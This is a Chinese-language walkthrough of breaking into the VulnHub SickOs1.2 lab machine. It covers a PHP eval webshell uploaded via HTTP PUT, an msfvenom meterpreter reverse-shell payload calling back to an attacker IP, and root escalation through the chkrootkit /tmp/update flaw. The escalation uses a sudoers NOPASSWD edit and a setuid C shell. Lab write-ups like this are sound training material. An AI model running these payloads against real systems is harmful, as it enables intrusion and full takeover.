vulnhub靶场渗透之SickOs1.2渗透教程(超级详细)

vulnhub靶场渗透之SickOs1.2渗透教程目录

0x01靶机概述

0x02靶场环境搭建

0x03靶机信息发现

 0x04渗透靶机

 使用第二种方法:msfvenom生成载荷模块+curl上传至服务器触发

 0x05本地提权

方法一:将当前用户(www-data)加入sudo组

 提权方法二:编写.c提权脚本

 0x06渗透实验总结


0x01靶机概述

靶机基本信息:

靶机下载链接 https://www.vulnhub.com/entry/sickos-12,144/
作者 D4rk
发布日期 2016年4月27日
难度 中等

这是SickOs后续系列中的第二个,独立于以前的版本,挑战的范围是在系统上获得最高权限

0x02靶场环境搭建

1、下载靶机并导入vmware

 

 导入ovf到vmware当中

 打开vmware->新建->打开SickOs1.2.ovf

 2、更改靶机网路适配器模式为NAT模式(以便我们找到靶机的IP地址)

 3、开启靶机

0x03靶机信息发现

1.主机发现

arp-scan -l

 2、扫描端口服务信息

   访问80端口,如下图所示

 3、使用dirb挖掘靶机目录,存在test目录

 访问test目录如下图:

 0x04渗透靶机

1、通过前面的靶机信息发现,得出test目录,接下来用nmap脚本扫描test目录

nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.94.160 

 扫描得出支持PUT方法,那么就可以来测试PUT上传

2、使用PUT方法,上传文件至服务器

 3、使用PUT方法上传一句话木马

<?php @eval($_POST[hack]);?>

木马上传成功

4、使用蚁剑进行连接

 

 然后这里发现权限不够

 使用第二种方法:msfvenom生成载荷模块+curl上传至服务器触发

1、使用msfvenom生成攻击载荷模块

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.94.139 lport=443 R >hack_shell.php

 删除木马前面的注释

 删除之后的效果:如下图

 2、使用curl将木马上传至服务器中

curl -v -T php_shell.php  -H 'Expect:' "http://192.168.94.160/test/"

 3、使用msf设置监听

 4、然后点击上传的php_shell.php脚本来触发监听获取shell

 然后我们进入shell

 用python打开一个标准的shell

#这是一个在维持交互式Shell会话时会用到的Python代码片段。在Linux系统中,当一个程序运行在交互式Shell中时,它的标准输入、输出和错误输出通常被重定向到终端。如果您需要在该Shell中执行一些命令或者进行一些与终端相关的操作,则需要将Shell交互模式与终端传递输入关联到一起,以构建一个交互式Shell会话,并且在每次按下回车键时自动发送新的命令。

为了实现这个功能,可以使用pty模块中的spawn函数。该函数可以启动一个新的Shell子进程,并将当前的终端会话作为其控制终端进行添加。这是此Python代码片段的功能,它在内部执行了/bin/bash命令来启动一个新的Shell子进程,并利用pty.spawn()函数将其设置为当前会话的交互式Shell会话。

可以将该代码段复制到Linux系统的终端中,然后按回车键以立即开始Shell会话。然后,您可以在该Shell中执行各种命令或操作,完全与在终端中执行一样。请注意,如果您在维护通过此代码片段启动的Shel会话,始终可以使用exit命令退出该Shell会话。

 但是发现不是root权限

 0x05本地提权

1、查看靶机的版本及内核信息

lsb_release -a

 2、查看使用者的时程表

ls -la /etc/cron*

在/etc/cron.daily目录下发现chkrootkit工具

3、查看chkrootki的版本

 4、在Kali Linux中搜索chkrootkit 0.49版本的漏洞

5、查看提权步骤

cat /usr/share/exploitdb/exploits/linux/local/33899.txt

提权步骤:

1.在/ tmp中放入一个名为’update’的非root所有者的可执行文件。

2.以root身份运行chkrootkit,其文件/ tmp /update将以root身份执行。

如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。


方法一:将当前用户(www-data)加入sudo组

1、在/tmp目录下创建update文件并赋予可执行权限

touch update
chmod +x update

 2、写入将www-date添加到sudo组的命令到update文件中

'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)  NOPASSWD:ALL" > /etc/sudoers' > /tmp/update

 3、查看当前用户可执行的sudo文件

 4、sudo进行提权,成功提权

sudo su root

 提权方法二:编写.c提权脚本

1、编写.c提权脚本

#include<unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}


#这是一段C语言程序的代码,它会将/tmp/update文件的所有者和组更改为root,设置setuid和setgid位为0,然后执行/bin/sh。这段代码的目的是使用/tmp/update文件实现以root权限运行shell的目的。

 2、通过curl把文件上传到服务器

curl -v -H 'Expect:' -T shell.c "http://192.168.94.160/test/"

 3、使用gcc编译运行

执行update文件,成功提权如下图

查看/root/目录下的flag文件

 0x06渗透实验总结

1、这个靶场主要考察的是支持http协议,PUT方法等

2、然后就是使用多种反弹shell的方法,不过就是这里设置了规则反弹shell的端口

3、最后就是靶机的提权,多多浏览靶机内的可疑文件,结合exp库来实现最终提权的目的。

猜你喜欢

转载自blog.csdn.net/qq_50377269/article/details/130952567
今日推荐